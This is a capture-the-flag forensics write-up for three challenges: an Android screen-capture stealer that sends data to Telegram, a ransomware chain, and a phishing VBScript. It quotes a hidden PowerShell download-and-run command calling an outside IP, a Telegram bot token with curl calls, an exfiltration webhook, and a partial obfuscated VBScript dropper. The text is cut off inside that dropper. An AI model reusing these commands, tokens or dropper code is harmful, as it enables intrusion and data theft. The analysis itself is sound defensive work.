# ITSEC CTF 2025 Here is my writeup for ITSEC CTF 2025 who held in 3 days with 3 waves, there is a focusing on Forensic challenge ~~and some blockchain challenge~~ [toc] # HMICast 🩸 ## Summary > Several important data has been acquired from an employee's device as an evidence. Dig into the evidence to expose the stealthy actions that went unnoticed. > **Notes**: This challenge contains real malicious process. Please execute on a safe and controlled environment. We are not responsible for any damages or losses resulting from the use or misuse of this challenge. > **Author** : blackbear > **File** : [dumpz.7z](https://drive.google.com/file/d/1w22r2EQCgCOQmM-GhsdvT5jc1tfHePZ4/view?usp=sharing) > **Password ZIP** : vJcCvAN7TZIJn9dQ We given dump data of android device, check with [ALEAPP](https://github.com/abrignoni/ALEAPP) we found its download some dangerous file, we can see it from this ![image](https://hackmd.io/_uploads/rJlW_gcPge.png) and its a APK file called HMICast > 6486d2ea1bceb9c14feaecb2fcf68aae app-release.apk check using [JADX](https://github.com/skylot/jadx) we can see it has two main function ![image](https://hackmd.io/_uploads/BkKRuxcwgl.png) and we can conclude the app has Screen Capture function who will steal user data. ## Question ### Is the phone rooted? > yes it show by dump data folder ### What is the malicious package name? > com.itsec.android.hmi based on android manifest downloaded APK ### What is the download link of the malicious package? > https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8 we get it using ALEAPP Chrome - Downloads report ### What is the Android API that attacker use to capture victim's screen? > android.media.projection.MediaProjectionManager based on one of main function in app `com.itsec.android.hmi.ScreenCaptureService` ![image](https://hackmd.io/_uploads/ryQQCg9Dgl.png) ### What is the secretkey for image encryption process? > dPGgF7tQlBaGqqmj search usual string for secret key `SecretKeySpec` in JADX ![image](https://hackmd.io/_uploads/H1iuClcPee.png) it navigate us to `I0.a` ```java public abstract class a { /* renamed from: a, reason: collision with root package name */ public static final String f393a = CryptoService$stringfromnative.f1878a.getAES(); public static final String b = "lBaGqqmj"; /* renamed from: c, reason: collision with root package name */ public static final String f394c = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M="; /* renamed from: d, reason: collision with root package name */ public static final byte[] f395d; static { byte[] bytes = "Cj7pYMR6FqYFKRYi".getBytes(c1.a.f1544a); f.e(bytes, "this as java.lang.String).getBytes(charset)"); f395d = bytes; } public static byte[] a(byte[] bArr) { byte[] bArr2; CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a; String rSAKey = cryptoService$stringfromnative.getRSAKey(); String str = f394c; f.f(str, "base64Encrypted"); f.f(rSAKey, "privateKeyPEM"); String w02 = l.w0(l.w0(rSAKey, "-----BEGIN RSA PRIVATE KEY-----", ""), "-----END RSA PRIVATE KEY-----", ""); Pattern compile = Pattern.compile("\\s"); f.e(compile, "compile(pattern)"); String replaceAll = compile.matcher(w02).replaceAll(""); f.e(replaceAll, "nativePattern.matcher(in…).replaceAll(replacement)"); PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode(replaceAll))); f.e(generatePrivate, "generatePrivate(...)"); Cipher cipher = Cipher.getInstance(cryptoService$stringfromnative.getRSA()); cipher.init(2, generatePrivate); byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(str)); f.c(doFinal); Charset charset = c1.a.f1544a; String str2 = new String(doFinal, charset) + b; Cipher cipher2 = Cipher.getInstance(f393a); if (str2 != null) { bArr2 = str2.getBytes(charset); f.e(bArr2, "this as java.lang.String).getBytes(charset)"); } else { bArr2 = null; } cipher2.init(1, new SecretKeySpec(bArr2, "AES"), new IvParameterSpec(f395d)); byte[] doFinal2 = cipher2.doFinal(bArr); f.e(doFinal2, "doFinal(...)"); return doFinal2; } } ``` we can see it didnt stored in clear way, so compared to we do static analysis (who is more pain ofc) we do dynamic analysis using Frida, im using [aesinfo.js](https://codeshare.frida.re/@dzonerzy/aesinfo/) with some modified ```javascript function info(iv, alg, plain, encoded) { send("Performing encryption/decryption"); if (iv) { send("Initialization Vector: \\n" + hexdump(b2s(iv))); } else { send("Initialization Vector: " + iv); } send("Algorithm: " + alg); // send("In: \\n" + hexdump(b2s(plain))); // send("Out: \\n" + hexdump(b2s(encoded))); complete_bytes = []; index = 0; } ``` ![image](https://hackmd.io/_uploads/HkwYgZqvee.png) we got secret and IV for AES in hex format **secret** : dPGgF7tQlBaGqqmj **IV** : Cj7pYMR6FqYFKRYi ### Where the encrypted image sent to? >Telegram from the previous function we can use `Find Usage` in JADX, and lead us to `I0.c.run()` ```java! ... byte[] a2 = a.a(byteArray); File file = new File(screenCaptureService.getExternalFilesDir(null), ".logs"); if (!file.exists()) { file.mkdirs(); } str = "log_" + System.currentTimeMillis() + ".enc"; FileOutputStream fileOutputStream = new FileOutputStream(new File(file, str)); try { fileOutputStream.write(a2); l.o(fileOutputStream, null); } finally { } ... ``` in this function we can see it directed to Telegram ```java String str3 = "https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument"; if (c1.l.y0("https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument", "ws:", true)) { str3 = "http:".concat("ps://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument"); } else if (c1.l.y0("https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument", "wss:", true)) { str3 = "https:".concat("s://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument"); } ``` ### What is the bot API token? > 8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q we can see it from previous function ### What is the bot username? > guntershelpsBot using telegram bot API /getMe ```bash % curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getMe | jq { "ok": true, "result": { "id": 8369776437, "is_bot": true, "first_name": "gunters-helper", "username": "guntershelpsBot", "can_join_groups": true, "can_read_all_group_messages": false, "supports_inline_queries": false, "can_connect_to_business": false, "has_main_web_app": false } } ``` ### What is the group name and invite link? > mycrib,https://t.me/+RVvaMCn_f7FmZmFl we can use /getUpdates API for get the chat ID `-1002300479215` ```bash! % curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getUpdates | jq { "ok": true, "result": [ { "update_id": 565971319, "message": { "message_id": 18, "from": { "id": 7801293392, "is_bot": false, "first_name": "Günter" }, "chat": { "id": -1002300479215, "title": "mycrib", "type": "supergroup" }, "date": 1753953584, "text": "f" } } ] } ``` and it showed in JADX too ![image](https://hackmd.io/_uploads/ry7OI-cPxe.png) we can access bot using this link https://telegram.me/guntershelpsBot and lead to this ![image](https://hackmd.io/_uploads/SkM0U-qPle.png) and that invitation link for the group ![image](https://hackmd.io/_uploads/H1ioP-9vlx.png) ### What is the login credential that was captured and sent at this window of time [Tuesday, July 29, 2025 5:26 AM - Tuesday, July 29, 2025 5:30 AM]? > operator1337:HM1_standin9_Str0nk now we back to encryption process ```java public static byte[] a(byte[] bArr) { byte[] bArr2; CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a; String rSAKey = cryptoService$stringfromnative.getRSAKey(); String str = f394c; f.f(str, "base64Encrypted"); f.f(rSAKey, "privateKeyPEM"); String w02 = l.w0(l.w0(rSAKey, "-----BEGIN RSA PRIVATE KEY-----", ""), "-----END RSA PRIVATE KEY-----", ""); Pattern compile = Pattern.compile("\\s"); f.e(compile, "compile(pattern)"); String replaceAll = compile.matcher(w02).replaceAll(""); f.e(replaceAll, "nativePattern.matcher(in…).replaceAll(replacement)"); PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode(replaceAll))); f.e(generatePrivate, "generatePrivate(...)"); Cipher cipher = Cipher.getInstance(cryptoService$stringfromnative.getRSA()); cipher.init(2, generatePrivate); byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(str)); f.c(doFinal); Charset charset = c1.a.f1544a; String str2 = new String(doFinal, charset) + b; Cipher cipher2 = Cipher.getInstance(f393a); if (str2 != null) { bArr2 = str2.getBytes(charset); f.e(bArr2, "this as java.lang.String).getBytes(charset)"); } else { bArr2 = null; } cipher2.init(1, new SecretKeySpec(bArr2, "AES"), new IvParameterSpec(f395d)); byte[] doFinal2 = cipher2.doFinal(bArr); f.e(doFinal2, "doFinal(...)"); return doFinal2; } ``` in the previous attempt we already got the AES key and IV, **secret** : dPGgF7tQlBaGqqmj **IV** : Cj7pYMR6FqYFKRYi and if we see, the process is like `plain -> RSA -> AES` now we must recover RSA key, based on this ```java CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a; String rSAKey = cryptoService$stringfromnative.getRSAKey(); ``` ```java public final class CryptoService$stringfromnative { /* renamed from: a, reason: collision with root package name */ public static final CryptoService$stringfromnative f1878a = new CryptoService$stringfromnative(); static { System.loadLibrary("native-lib"); } public final native String getAES(); public final native String getRSA(); public final native String getRSAKey(); } ``` RSA Key stored in native library, compared to us doing static analysis the native lib, we just can do dynamic analysis to hook return value of func getRSAKey(). the idea is **wait lib called -> check its a function? -> this is a getRSAKey? -> get the return value** and here is the script ```javascript function waitForModule(moduleName) { return new Promise((resolve) => { const interval = setInterval(() => { const module = Process.findModuleByName(moduleName); if (module != null) { clearInterval(interval); resolve(module); } }, 1); }); } waitForModule('libnative-lib.so').then(module => { var moduleName = "libnative-lib.so" var moduleBase = Module.findBaseAddress(moduleName); if (!moduleBase) { console.log("[-] Could not find module: " + moduleName); return; } console.log("[*] Found module " + moduleName + " at " + moduleBase); Module.enumerateExports(moduleName).forEach(function (exp) { if (exp.type === "function") { try { Interceptor.attach(exp.address, { onLeave: function (retval) { if (exp.name.includes("getRSAKey")) { console.log("[*] " + exp.name + " returned: " + Java.vm.getEnv().getStringUtfChars(retval, null).readCString()); } } }); } catch (e) { console.log("[-] Failed to hook " + exp.name + ": " + e.message); } } }); }); ``` and here is the result ![image](https://hackmd.io/_uploads/SkN4kz5Dex.png) RSA Key : ``` -----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte 5AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q 8nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/ XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq 0xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/ nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9 YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ== -----END RSA PRIVATE KEY---- ``` now download all file who in the range of question in group, and decrypt all for checking there is a credential or not, but the plot twist is, we didnt need to use the RSA key because we already have AES key ... (this why you must really really read the code ... ) ```java ... Cipher cipher = Cipher.getInstance(cryptoService$stringfromnative.getRSA()); cipher.init(2, generatePrivate); byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(str)); f.c(doFinal); Charset charset = c1.a.f1544a; String str2 = new String(doFinal, charset) + b; Cipher cipher2 = Cipher.getInstance(f393a); ... ``` RSA used for str2 who later used for secretKey Aes, and now because we already have AES key, just use it for decryption ```python! from deom import * # is package for using all crypto things import os aeskey = b"dPGgF7tQlBaGqqmj" aesiv = b"Cj7pYMR6FqYFKRYi" def dekrip(enc, filename): cip = AES.new(aeskey, AES.MODE_CBC, aesiv) dec = cip.decrypt(enc) with open(f"result_{filename}.png", "wb") as f: f.write(dec) filenames = os.listdir('file_enc/file_enc') for filename in filenames: print(filename) raw_encrypted = open("file_enc/file_enc/" + filename, "rb").read() dekrip(raw_encrypted, filename) ``` and one of the file has this ![image](https://hackmd.io/_uploads/Sk1-WGqPel.png) ## Flag just submit all answer on service ```python from pwn import * p = remote('54.254.152.24',4437,level='debug') p.sendlineafter(b': ',b"yes") p.sendlineafter(b': ',b"com.itsec.android.hmi") p.sendlineafter(b': ',b"https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8") p.sendlineafter(b'4. ',b"android.media.projection.MediaProjectionManager") p.sendlineafter(b'5. ',b"dPGgF7tQlBaGqqmj") p.sendlineafter(b'6. ',b"Telegram") p.sendlineafter(b'7. ',b"8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q") p.sendlineafter(b'8. ',b"guntershelpsBot") p.sendlineafter(b'9. ', b"mycrib,https://t.me/+RVvaMCn_f7FmZmFl") p.sendlineafter(b'10. ', b"operator1337:HM1_standin9_Str0nk") p.interactive() ``` ![Screenshot 2025-08-05 111736](https://hackmd.io/_uploads/HkN-Enkuex.png) Flag : **ITSEC{gunt3rs_is_th3_culpr1t_88ebf35eac}** # Hacked ## Summary > Bruh, I just got hacked. Please help me analyze this artifact and answer all the questions given > **Notes** : Always perform analysis of forensic artifacts in a sandboxed environment > **Author** : daffainfo > **File** : [artifact.zip](https://drive.google.com/file/d/1q0QD6QxWfa7yCFt2oCM9AutwlHlY6J7g/view?usp=drive_link) > **Password ZIP** : 188696d2813d3f1e31d08f91a64b1f86 we given .vmdk file, using FTK Imager convert .vmdk file to evidence file **File > Create Disk Image > Image File > (target)** after the file became .E0* import .E01 to FTK Imager (we only need import .E01 and the other will automatically got imported) ![Screenshot 2025-08-04 001352](https://hackmd.io/_uploads/r12wp3y_xg.png) in \Users\Peacock\Downloads we can see several evidences, like this device got infected by some ransomware who encrpyt files in Downloads, and for decrypt it we must send some crypto to attacker. and we can see a malicious file called main.rar who had date modifier close to encrypted file, extract it with Winrar (because it has broken rar, and we need winrar who had auto repair) and there is main.exe ![Screenshot 2025-08-04 001604](https://hackmd.io/_uploads/BJ1aRn1_lg.png) using strings we can confirm its build from python ![Screenshot 2025-08-04 001659](https://hackmd.io/_uploads/SkfAJTkueg.png) ## Question ### Username on the device infected with malware? > Peacock based on user listed in evidence ### Which folder is encrypted by the malware? > C:\Users\Peacock\Downloads check a folder who can indicate to be encrypted like have extension .enc ### The threat actor's crypto wallet? > 0xe28789577b1F8cfD964b2fD860807758216CeAE1 based on README.txt ### What applications do threat actors use to interact with victims? > Discord we must check installed application in device, and we found discord, and its a best candidate for user interract with attacker ![Screenshot 2025-08-04 004914](https://hackmd.io/_uploads/BJZ7fTJOlg.png) ### Victim's Discord ID? > 1391969554309058590 we can check cache (\Users\Peacock\AppData\Roaming\discord\Cache\Cache_Data\) for discover history chat, using [Chrome Cache View](https://www.nirsoft.net/utils/chrome_cache_view.html) we found 50.json who contain history chat ![Screenshot 2025-08-04 005322](https://hackmd.io/_uploads/SJ6WHpJOle.png) in this history we can find a profile data who has name same as user in device, ![Screenshot 2025-08-04 005625](https://hackmd.io/_uploads/B1GHB6JOgx.png) ### Threat actor's Discord ID? > 1391972617149481050 check another history, we found some a malicious chat who ask victim to install an app even disable microsoft defender ![image](https://hackmd.io/_uploads/B146Arx_ee.png) ![image](https://hackmd.io/_uploads/SJSCASedel.png) ### When did the threat actor join the same group as the victim? > 08/07/2025 we can see from this image the detail when victim sent an invitation discord server ![Screenshot 2025-08-04 005625](https://hackmd.io/_uploads/B1GHB6JOgx.png) ### The link containing initial loader that was sent by the threat actor to the victim? > https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing the attacker offer a victim risk of rain 2 game for free even force victim for deactive windows defender who is so suspicious ![Screenshot 2025-08-04 005853](https://hackmd.io/_uploads/SyFjSa1ull.png) ![image](https://hackmd.io/_uploads/r1kmJLxulx.png) ### After the victim downloads and unzips the file, the malware file is moved to what folder? > C:\Users\Peacock\Documents\main.exe its a basic and usual folder for user store their file ### What is the URL accessed by the initial dropper to download the second-stage loader? > http://143.198.88.30:1338/installer.exe because we know its a .exe from python, first we decompile it to became .pyc using [pyinstxtractor](https://pyinstxtractor-web.netlify.app/) ![Screenshot 2025-08-02 222428](https://hackmd.io/_uploads/rkPXvpJOeg.png) after that, decompile .pyc to .py using [PyLingual](https://pylingual.io/view_chimera?identifier=53e935eaff0e904527dfe37cc29d3e02be1f5be098dbc8a9baf72deed1cf8405) ![Screenshot 2025-08-02 222456](https://hackmd.io/_uploads/BJArPpy_gl.png) there is a obfuscation function who has logic like this ```python! print(getattr(__import__(bytes.fromhex('7a6c6962').decode()), bytes.fromhex('6465636f6d7072657373').decode())(bytes.fromhex('789ced5d596e1b4912b ... ``` and the result is like this ```python! ____=lambda _:type(*_);_0_=str;_____=dict;_0=lambda _0:_0.__code__.co_argcount;__=None;__0=_0;___=____([_0_(),(),_____(_=_0(lambda _0:_0),___=_0(lambda:__0),__=_0(lambda _0,__0:_0))]);_=[];____=____([_0_(),(),_____(__________________=lambda:[],________=lambda:____._________________________(____._____________(____._(____.__________________()))[___.__:___.__*___.__]+ ... ``` so its basically a obfuscation again who usually used for bypass PyJail, and in this case we have two choices, do static or dynamic analysis. if we want do static, we find usually `exec` to change it `print` so we can get all code, but it will take much time. so we can do dynamic using Virustotal for get the behaviour of .exe and there is the result [Virustotal result](https://www.virustotal.com/gui/file/110051d778e842bac18ab298717655fe10e025fab9098e7c34b04d0abb454f7b/behavior) ![Screenshot 2025-08-04 111323](https://hackmd.io/_uploads/SkELFpyOex.png) and from this beviour we know .exe access an url and we can assume it is a next stage loader ![Screenshot 2025-08-04 111405](https://hackmd.io/_uploads/HJytKay_ge.png) ### Where was the second-stage loader stored after being downloaded? > C:\Windows\Temp\MkbrkEXh.exe check again on behaviour result in Virustotal, we can see it make a file on Temp folder ![Screenshot 2025-08-04 111505](https://hackmd.io/_uploads/HyjjYTkugx.png) check Temp on evidence file, and we found it ### What repository does the threat actor use to develop the second-stage loader? > https://github.com/Ne0nd0g/go-shellcode decompile the application, and we found many function, but we can focus on this two function in main.go ![image](https://hackmd.io/_uploads/S1WT561dex.png) its mention shellcodeToUUID, and if we search it shellcode golang, we will found the answer ### What is the full PowerShell command executed by the second-stage loader? > powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1') do dynamic analysis again using Virustotal and here the result [Virustotal Result](https://www.virustotal.com/gui/file/e71f466fb0f8f7ede6068984714fb812f9358976cec60d8727f362742687c7cb/behavior) and we can see process created by .exe in powershell ![Screenshot 2025-08-04 112417](https://hackmd.io/_uploads/BkePjakuee.png) ### What URL does the final payload send the encrypted file to after encryption? > https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402 check the powershell script, is obfuscated again, but the `IEX` command is clearly is here, so we can change it to `echo` and run it using [Try It Online](https://tio.run/#powershell) ![Screenshot 2025-08-02 222534](https://hackmd.io/_uploads/HyLpsTyule.png) ![Screenshot 2025-08-02 222546](https://hackmd.io/_uploads/Bk26oTJuge.png) and we can spot the URL ### What key was used by the final payload to encrypt the Downloads folder? > IITTSSEECC_CTF2025Coyyyyy!!!! based on code before and decode it as base64 ### Decrypt the .txt file located in the Downloads folder and input its contents! > EzMalware_1337!! decrypt it using all information we have ```python! import base64 key_bytes = base64.b64decode("SUlUVFNTRUVDQ19DVEYyMDI1Q295eXl5eSEhISE=") with open("IMPORTANT NOTES.txt.enc", "rb") as f: data = f.read() enc = bytearray(len(data)) for i in range(len(data)): enc[i] = data[i] ^ key_bytes[i % len(key_bytes)] with open("IMPORTANT NOTES.txt", "wb") as f: data = f.write(enc) ``` and here the result >If you able to decrypt the malware, submit this string into the bot :) > EzMalware_1337!! ## Flag ```python from pwn import * p = remote('54.254.152.24',34843,level='debug') p.sendlineafter(b': ',b"Peacock") p.sendlineafter(b': ',b"C:\Users\Peacock\Downloads") p.sendlineafter(b': ',b"0xe28789577b1F8cfD964b2fD860807758216CeAE1") p.sendlineafter(b': ',b"Discord") p.sendlineafter(b': ',b"1391969554309058590") p.sendlineafter(b': ',b"1391972617149481050") p.sendlineafter(b': ',b"08/07/2025") p.sendlineafter(b': ',b"https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing") p.sendlineafter(b': ',b"C:\Users\Peacock\Documents\main.exe") p.sendlineafter(b': ',b"http://143.198.88.30:1338/installer.exe") p.sendlineafter(b': ',b"C:\Windows\Temp\MkbrkEXh.exe") p.sendlineafter(b': ',b"https://github.com/Ne0nd0g/go-shellcode") p.sendlineafter(b': ',b"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')") p.sendlineafter(b': ',b"https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402") p.sendlineafter(b': ',b"IITTSSEECC_CTF2025Coyyyyy!!!!") p.sendlineafter(b': ',b"EzMalware_1337!!") p.interactive() ``` Flag : ITSEC{b403ab3f9050c1de4485cbbb747bfc14} # APT Mailer ## Summary > One quiet morning, a message slipped through unnoticed. No alerts. No noise. Just another routine communication. They blend in. > **Author** : Blackbear > **File** : evidence-log.pcapng analyze .pcapng file, it contain a lot TLS traffic but it has one TCP stream who contain SMTP Protocol ![image](https://hackmd.io/_uploads/r1iatixOee.png) from the email we know its a phising-like email who using urgency methods, in this email its demand user for updating using .vbs script they provide. Lets check the .vbs script by decode it as base64 ```vb! Private Function zYWTgOUvCUasUF(fyVzjyrSVfUN As Variant, wmcgYwnuVvaWgrd As Variant) Dim guZtvRhfxgcxFR As String guZtvRhfxgcxFR = "" For vochkYPjMXMeW = LBound(fyVzjyrSVfUN) To UBound(fyVzjyrSVfUN) guZtvRhfxgcxFR = guZtvRhfxgcxFR & Chr(wmcgYwnuVvaWgrd(vochkYPjMXMeW) Xor fyVzjyrSVfUN(vochkYPjMXMeW)) * (2 ^ (2 - 0)) Next zYWTgOUvCUasUF = guZtvRhfxgcxFR End Function Function bETonJcHVNTUdH(text, shift) Dim vochkYPjMXMeW, result, charCode result = For vochkYPjMXMeW = (1 XOR 0) To Len(text) charCode = Asc(Mid(text, vochkYPjMXMeW, 1)) charCode = charCode + shift result = result & Chr(charCode) Next bETonJcHVNTUdH = result End Function Function eVyipctlscBYw(text, shift) Dim vochkYPjMXMeW, result, charCode result = For vochkYPjMXMeW = 1 To Len(text) charCode = Asc(Mid(text, vochkYPjMXMeW, 1)) charCode = charCode - shift result = result & Chr(charCode) Next eVyipctlscBYw = result End Function Function pPBAddHxuvSqSyj(regPath, regName, regValue, regType) On Error Resume Next Dim gmLGTlQYtwLoT Set gmLGTlQYtwLoT = WScript.CreateObject(zYWTgOUvCUasUF(Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796),Array(77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20))))) Dim chfqRkgAaNapL chfqRkgAaNapL = regPath & regName gmLGTlQYtwLoT.RegWrite chfqRkgAaNapL, regValue, regType End Function Dim KTvYLmGLGGtuA, dec_text KTvYLmGLGGtuA = zYWTgOUvCUasUF(Array((228 + 112),(459 + 405),(570 XOR (256 - 78)),140,880,324,(197 + (568 - 205)),296,(231 + (329 - 36)),(638 XOR (39 + 231)),(547 + 261),(809 + 51),((960 - 21) XOR 83),(260 - 128),((1349 - 505) + (112 - 56))),Array((60 - 22),170,((72 - 10) + 154),(147 - 72),169,(26 XOR (72 - 11)),((210 - 60) XOR (165 - 52)),34,(201 XOR (28 + (14 - 5))),((35 - 14) + 158),(11 + 240),((39 + (194 - 82)) XOR (59 - 19)),133,73,(279 - 85))) & _ zYWTgOUvCUasUF(Array(176,180,(61 XOR (137 + (659 - 23))),(467 XOR 683),300,((168 - 51) XOR 9),((274 + 140) XOR (33 + 81)),(529 + 391),(((11 - 1) + 170) XOR 908),(380 - 148),((2 + (3 - 1)) XOR 692),48,(645 - 33),(635 - 179),(318 + 494)),Array((6 + 22),(167 - 43),((184 - 18) XOR 26),((108 - 54) + 87),104,47,42,(63 + 85),191,118,143,(100 - 40),(26 + 169),81,128)) & _ zYWTgOUvCUasUF(Array((62 XOR 94),384,((342 - 135) XOR (164 + (185 - 6))),((1340 - 562) XOR 234),(627 - 71),(118 + 874),((49 + 183) XOR 556),(320 - 88),(20 + (1029 - 117)),((60 + 52) XOR 992),(451 XOR 683),(929 - 45),(878 - 258),216,976),Array(116,((2 + (0 - 0)) XOR (2 + 3)),((1 - 0) + 0),144,(116 XOR 142),(395 - 176),129,(186 - 72),(99 + (62 - 9)),130,(((33 - 12) + 67) XOR 161),128,((129 + (88 - 27)) XOR (189 - 62)),103,134)) & _ zYWTgOUvCUasUF(Array(860,((789 - 272) XOR ((115 - 40) + (227 - 53))),((364 - 3) XOR 181),(1183 - 323),(71 XOR (461 - 210)),356,((164 + (74 - 4)) XOR 6),452,268,276,(355 XOR (22 + (719 - 190))),(406 - 122),((0 - 0) + 112),(537 - 81),(79 XOR 851)),Array(178,195,(5 XOR 55),((3 - 0) XOR (256 - 125)),118,((17 - 4) XOR 59),118,41,((8 + 5) XOR 22),(81 - 39),136,21,((7 + 29) XOR 105),70,(61 XOR 163))) & _ zYWTgOUvCUasUF(Array(564,(((149 - 23) + (433 - 194)) XOR 513),364,(34 + (995 - 9)),496,844,308,((242 + 280) XOR (5 + (84 - 3))),452,(430 + 78),(499 - 147),(23 + (556 - 135)),(307 XOR (182 - 71)),(65 XOR (376 + (267 - 94))),980),Array(249,((103 - 42) XOR 177),(25 XOR (70 - 20)),((59 - 26) + 166),(((0 - 0) + (14 - 6)) XOR 37),137,5,((94 - 27) XOR (200 + 27)),(14 - 3),(15 XOR ((31 - 6) + 19)),(101 + 8),(13 XOR 90),33,196,154)) & _ zYWTgOUvCUasUF(Array((97 + 639),460,444,((1 + 43) XOR 16),(61 XOR ((60 - 20) + 73)),(38 + 70),(93 XOR 349),((8 - 4) XOR (552 + 16)),428,(497 XOR 577),(498 - 106),(424 XOR (1597 - 705)),56,900,(325 + 95)),Array((122 + 103),(87 - 28),56,(42 XOR 84),(56 XOR 68),(94 XOR 40),40,(((31 - 5) + 2) XOR 253),(9 XOR (70 - 7)),(122 XOR ((189 - 47) + (59 - 26))),(65 - 2),(109 XOR ((129 - 49) + 64)),(29 XOR 70),179,(4 + (12 - 2)))) & _ zYWTgOUvCUasUF(Array((((12 - 2) + 42) XOR 944),(249 XOR (658 + 343)),616,920,(117 XOR 629),((318 - 129) + 443),704,(313 XOR (539 + 290)),(286 + 458),888,((0 + 0) XOR 24),((339 - 57) + 42),((125 - 33) + 256),(731 - 23),((1283 - 639) + 196)),Array(((5 - 2) + 181),171,163,(146 XOR (56 - 21)),(262 - 22),(232 - 37),(256 - 26),(95 XOR ((317 - 151) + 21)),((167 + 4) XOR 88),(120 + 27),(39 XOR (156 - 31)),(7 XOR (0 - 0)),(26 - 12),(298 - 74),(157 - 5))) & _ zYWTgOUvCUasUF(Array(980,(0 XOR (0 - 0)),908,(49 - 1)),Array(167,((14 + 65) XOR 27),((151 - 57) + 69),(55 + 21))) dec_text = eVyipctlscBYw(KTvYLmGLGGtuA, 3) pPBAddHxuvSqSyj zYWTgOUvCUasUF(Array((((2 - 0) + 9) XOR 7),20,444,(87 + 509),(719 XOR (741 - 326)),(119 + 73),(1 XOR 625),604,((588 - 205) + (572 - 231)),(146 XOR 414),468,(320 XOR 196),148,((456 - 118) XOR (59 - 21)),492),Array(((1 - 0) + 74),(61 + 17),(67 - 25),(160 XOR 108),139,124,(((59 - 13) + 137) XOR 100),(196 XOR (20 - 4)),(35 XOR 215),(14 + 1),(18 XOR (76 - 20)),(6 XOR (39 + 3)),(58 + (56 - 14)),30,51)) & _ zYWTgOUvCUasUF(Array((547 XOR 399),816,(((155 - 31) + 59) XOR 347),56,444,(259 XOR 7),456,880,(364 + 36),976,(7 + (372 - 175)),(248 + 76),((718 - 14) XOR 336),(846 - 302),(563 + 41)),Array(((150 - 37) + 49),(217 - 87),62,(156 - 74),60,(16 + 30),(40 - 20),((249 - 92) XOR 53),(35 - 16),(43 + 106),(77 - 12),52,((153 - 57) XOR 216),197,((292 - 48) + (17 - 7)))) & _ zYWTgOUvCUasUF(Array(((146 + 56) XOR 902),(466 - 154),(65 - 13),((41 - 6) XOR (1106 - 83)),((86 + 121) XOR (757 - 